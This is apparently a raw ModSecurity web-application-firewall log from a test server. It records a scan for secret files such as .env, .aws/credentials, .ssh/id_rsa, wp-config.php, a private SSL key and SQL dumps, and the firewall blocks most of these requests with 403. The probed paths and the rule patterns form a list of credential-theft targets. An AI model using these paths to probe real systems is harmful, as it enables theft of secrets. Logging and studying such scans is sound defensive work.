[Fri May 03 13:51:31.695098 2024] [:error] [pid 2944985] [client 213.232.87.232:17257] [client 213.232.87.232] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;ZjTPww3NEX3VPGDEuIlI6AAAAAM&quot;]
[Fri May 03 13:51:31.695274 2024] [:error] [pid 2944838] [client 213.232.87.232:34129] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web.config&quot;] [unique_id &quot;ZjTPw39OzR2QKo92BH0MeAAAAAI&quot;]
[Fri May 03 13:51:31.695554 2024] [:error] [pid 2944985] [client 213.232.87.232:17257] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;ZjTPww3NEX3VPGDEuIlI6AAAAAM&quot;]
[Fri May 03 13:51:31.698788 2024] [:error] [pid 2944866] [client 213.232.87.232:8761] [client 213.232.87.232] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/server.key&quot;] [unique_id &quot;ZjTPw2MRuxC-V_fbgLfk_AAAAAc&quot;]
[Fri May 03 13:51:31.699434 2024] [:error] [pid 2944866] [client 213.232.87.232:8761] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/server.key&quot;] [unique_id &quot;ZjTPw2MRuxC-V_fbgLfk_AAAAAc&quot;]
[Fri May 03 13:51:31.699757 2024] [:error] [pid 2944865] [client 213.232.87.232:40113] [client 213.232.87.232] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZjTPw7N1lLNT9IB1Z7O2ZgAAAAY&quot;]
[Fri May 03 13:51:31.700196 2024] [:error] [pid 2944865] [client 213.232.87.232:40113] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZjTPw7N1lLNT9IB1Z7O2ZgAAAAY&quot;]
[Fri May 03 13:51:31.700661 2024] [:error] [pid 2944865] [client 213.232.87.232:40113] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZjTPw7N1lLNT9IB1Z7O2ZgAAAAY&quot;]
[Fri May 03 13:51:31.701163 2024] [:error] [pid 2944864] [client 213.232.87.232:55521] [client 213.232.87.232] ModSecurity: Warning. Matched phrase &quot;.kube/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .kube/ found within REQUEST_FILENAME: /.kube/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/config&quot;] [unique_id &quot;ZjTPw32JzIU99DWpBI0VsgAAAAU&quot;]
[Fri May 03 13:51:31.701544 2024] [:error] [pid 2944864] [client 213.232.87.232:55521] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/config&quot;] [unique_id &quot;ZjTPw32JzIU99DWpBI0VsgAAAAU&quot;]
[Fri May 03 13:51:31.701713 2024] [:error] [pid 2944864] [client 213.232.87.232:55521] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/config&quot;] [unique_id &quot;ZjTPw32JzIU99DWpBI0VsgAAAAU&quot;]
[Fri May 03 13:51:31.705510 2024] [:error] [pid 2944866] [client 213.232.87.232:8761] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/ssl/private/server.key&quot;] [unique_id &quot;ZjTPw2MRuxC-V_fbgLfk_AAAAAc&quot;]
[Fri May 03 13:51:31.705807 2024] [:error] [pid 2944837] [client 213.232.87.232:59249] [client 213.232.87.232] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;ZjTPwy8d8jmVjCwDcQf9igAAAAE&quot;]
[Fri May 03 13:51:31.705968 2024] [:error] [pid 2944985] [client 213.232.87.232:17257] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;ZjTPww3NEX3VPGDEuIlI6AAAAAM&quot;]
[Fri May 03 13:51:31.706096 2024] [:error] [pid 2944837] [client 213.232.87.232:59249] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;ZjTPwy8d8jmVjCwDcQf9igAAAAE&quot;]
[Fri May 03 13:51:31.706269 2024] [:error] [pid 2944837] [client 213.232.87.232:59249] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;ZjTPwy8d8jmVjCwDcQf9igAAAAE&quot;]
[Fri May 03 13:51:31.792066 2024] [:error] [pid 2944868] [client 213.232.87.232:35847] [client 213.232.87.232] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZjTPw2phKje_uCuXSk4foQAAAAk&quot;]
[Fri May 03 13:51:31.792457 2024] [:error] [pid 2944868] [client 213.232.87.232:35847] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZjTPw2phKje_uCuXSk4foQAAAAk&quot;]
[Fri May 03 13:51:31.792873 2024] [:error] [pid 2944868] [client 213.232.87.232:35847] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZjTPw2phKje_uCuXSk4foQAAAAk&quot;]
[Fri May 03 13:51:31.795467 2024] [:error] [pid 2944838] [client 213.232.87.232:7649] [client 213.232.87.232] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;ZjTPw39OzR2QKo92BH0MeQAAAAI&quot;]
[Fri May 03 13:51:31.795758 2024] [:error] [pid 2944838] [client 213.232.87.232:7649] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;ZjTPw39OzR2QKo92BH0MeQAAAAI&quot;]
[Fri May 03 13:51:31.796051 2024] [:error] [pid 2944838] [client 213.232.87.232:7649] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;ZjTPw39OzR2QKo92BH0MeQAAAAI&quot;]
[Fri May 03 13:51:31.797985 2024] [:error] [pid 2944869] [client 213.232.87.232:34835] [client 213.232.87.232] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;ZjTPw6LvFeouTot-YiDjGgAAAAo&quot;]
[Fri May 03 13:51:31.798420 2024] [:error] [pid 2944869] [client 213.232.87.232:34835] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;ZjTPw6LvFeouTot-YiDjGgAAAAo&quot;]
[Fri May 03 13:51:31.798697 2024] [:error] [pid 2944869] [client 213.232.87.232:34835] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;ZjTPw6LvFeouTot-YiDjGgAAAAo&quot;]
[Fri May 03 13:51:31.872403 2024] [:error] [pid 2944837] [client 213.232.87.232:61883] [client 213.232.87.232] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZjTPwy8d8jmVjCwDcQf9jAAAAAE&quot;]
[Fri May 03 13:51:31.872869 2024] [:error] [pid 2944837] [client 213.232.87.232:61883] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZjTPwy8d8jmVjCwDcQf9jAAAAAE&quot;]
[Fri May 03 13:51:31.873270 2024] [:error] [pid 2944837] [client 213.232.87.232:61883] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZjTPwy8d8jmVjCwDcQf9jAAAAAE&quot;]
[Fri May 03 13:51:31.881713 2024] [:error] [pid 2944838] [client 213.232.87.232:35113] [client 213.232.87.232] ModSecurity: Warning. Matched phrase &quot;.ssh/id_rsa&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;ZjTPw39OzR2QKo92BH0MegAAAAI&quot;]
[Fri May 03 13:51:31.882121 2024] [:error] [pid 2944838] [client 213.232.87.232:35113] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;ZjTPw39OzR2QKo92BH0MegAAAAI&quot;]
[Fri May 03 13:51:31.882548 2024] [:error] [pid 2944838] [client 213.232.87.232:35113] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;ZjTPw39OzR2QKo92BH0MegAAAAI&quot;]
[Fri May 03 19:24:29.546546 2024] [:error] [pid 2944865] [client 3.94.195.139:58678] [client 3.94.195.139] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] 